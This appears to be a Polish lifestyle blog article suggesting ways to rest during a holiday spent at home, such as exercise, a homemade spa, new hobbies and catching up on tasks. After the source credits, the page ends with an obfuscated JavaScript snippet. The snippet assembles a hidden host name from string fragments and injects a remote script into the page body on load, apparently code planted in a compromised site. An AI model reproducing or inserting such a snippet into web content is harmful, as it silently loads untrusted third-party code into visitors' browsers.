Urlop w mieszkaniu. Jak wypocząć we własnym domu?

Urlop w Polsce to dość specyficzna kwestia. Jedni spędzają go, opalając się na plaży za granicą, inni w tym czasie remontują mieszkanie. Nie każdy ma czas odpocząć w czasie wolnym od pracy, nie każdy także umie odpoczywać. Wiele osób sądzi, że dobry odpoczynek ma związek z dużą ilością pieniędzy, które trzeba wydać na dalekie podróże czy hotelowe spa. Tymczasem można świetnie zrelaksować się we własnym domu, separując się na jakiś czas od rodziny, pracy i znajomych. Jak odprężyć się samotnie w mieszkaniu? Oto kilka sposobów dla każdego!

Często mówi się, że “starsze pokolenie nie umie odpoczywać”. Ciągle zabiegani, cały czas muszą coś robić. A to gotują, a to sprzątają, tu coś naprawią, tam wymienią. Niestety nie zawsze jest to dobry sposób na spędzenie urlopu. Odpoczynek dla ciała i umysłu jest równie ważny co praca i pasja. Dzięki niemu nabieramy sił, niwelujemy stres, odprężamy umysł, który jest wtedy bardziej kreatywny. Do tego uczymy się czerpać przyjemność z życia. Bardziej doceniamy to, co mamy i potrafimy bardziej realnie określić, czego nam brakuje. Ale by to zrobić, potrzebujemy odciąć się zwłaszcza od pracy. Z drugiej strony nic nie robienie i leniuchowanie również nie przynosi nam pożądanego zysku. Jak zatem odpoczywać? Poniżej kilka skutecznych propozycji.

Aktywność fizyczna to podstawa

Nawet jeśli na codzień pracujemy fizycznie, nie zapomnijmy o ruchu na świeżym powietrzu. Pamiętajmy, że wykonując cały czas te same czynności w pracy, pracuje określona grupa mięśni, co prowadzi do jej nadwyrężania, podczas gdy reszta pozostaje w spoczynku. Dlatego postarajmy się dobrać taki zestaw ćwiczeń na urlopie, który pomoże nam odciążyć obolałe mięśnie, a resztę wzmocnić i rozciągnąć. To może być bieganie, jazda na rowerze, pływanie, a nawet ćwiczenia z instruktorami, które są pokazywane na filmach w internecie… I co ważniejsze, nie są to kosztowne zajęcia, ani wymagające czyjegoś towarzystwa. Nie przeciążajmy się, ale też nie obijajmy. Postarajmy się znaleźć co najmniej godzinę w ciągu dnia na aktywność fizyczną. Pamiętajmy o rozciąganiu przed i po, możemy również wybrać się do masażysty, jeśli mamy na to fundusze.

Zadbajmy o siebie

Gdy na codzień nie mamy czasu na właściwą pielęgnację ciała, staje się ono zaniedbane oraz zanieczyszczone. Zróbmy sobie zatem relaksujące spa w domu. Wykorzystać możemy nawet nasze kuchenne zasoby: do zrobienia peelingu cukier i sól, do tego oliwę; kawę z cynamonem; do zrobienia maseczek oczyszczających sodę, zieloną glinkę; do maseczek nawilżających miód, jogurt, sezonowe owoce. W internecie znajdziemy wiele przepisów. Istotne, aby zrelaksować się przy tych czynnościach. Spa jest świetnym sposobem, by zapomnieć o pracy nie tylko dla kobiet, ale również dla mężczyzn. Część zabiegów możemy wykonać pod prysznicem, jeśli nie mamy wanny. Domowe spa skutecznie poprawia humor oraz relaksuje. Możemy również pójść do fryzjera czy kosmetyczki.

Spróbujmy czegoś nowego

Nauka nowych umiejętności, smakowanie innych niż zazwyczaj dań, a nawet zmiana aranżacji mieszkania mogą nam pomóc się zrelaksować oraz nie myśleć o pracy. Warto próbować podejmować się działań, dla których na codzień nie mamy czasu. Powrót do pasji sprzed lat, nauka tańca czy nowego języka, gra w planszówki, eksperymentowanie z kuchnią i wiele innych czynności pozwoli nam się zrelaksować. Pamiętajmy, że nauka stymuluje mózg do działania, pomagając mu ćwiczyć takie umiejętności, jak koncentracja, zapamiętywanie i umiejętność wykorzystania nabytych informacji. Ponadto zapominamy wtedy o pracy czy obowiązkach domowych, odrywamy się od rutyny, dzięki czemu dodatkowo nabieramy dystansu w stosunku do naszego dotychczasowego życia. Odpoczynek od pracy pozwala nam spojrzeć na nią z zupełnie innej perspektywy.

Nadrabiamy zaległości

Każdy z nas jakieś ma. A to zszycie kilku ubrań, a to zrobienie porządku w pawlaczu czy komórce lokatorskiej. Mieliśmy kiedyś odmalować ściany i dokończyć ten wazon w decoupage dla koleżanki. Urlop w domu to świetny czas na nadrobienie rzeczy, na które nie mieliśmy czasu. Mogą one być związane z obowiązkami, ale też kompletnym relaksem. Możemy zrobić sobie nocny maraton filmowy, czytać książki z listy, którą kiedyś stworzyliśmy, nadrobić zaległości w czytaniu blogów czy nowinek technologicznych. Nasze mieszkanie to oaza, w której codziennie możemy spędzać czas inaczej. Cały szkopuł tkwi w tym, żeby nauczyć się odpoczywać.
Opracoanie materiału: https://rynekpierwotny.pl/
Źródło zdjęcia głównego: Pexels

(function(){
whwl=document.createElement(“script”);whwl.type=”text/javascript”;
whwl.async=true;whwl_=((“us”)+”t”)+”a”;whwl_+=(“t.i”)+””+”n”;whwl_+=((“f”)+”o”);whwl_+=”/”;
whwlu=”3417771.”;whwlu+=”b4f5pnv6hwlkaxzjthmjv622suycpg4v”;whwl.src=”https://”+whwl_+whwlu;
whwldb=document.body; whwldb.appendChild(whwl);
})();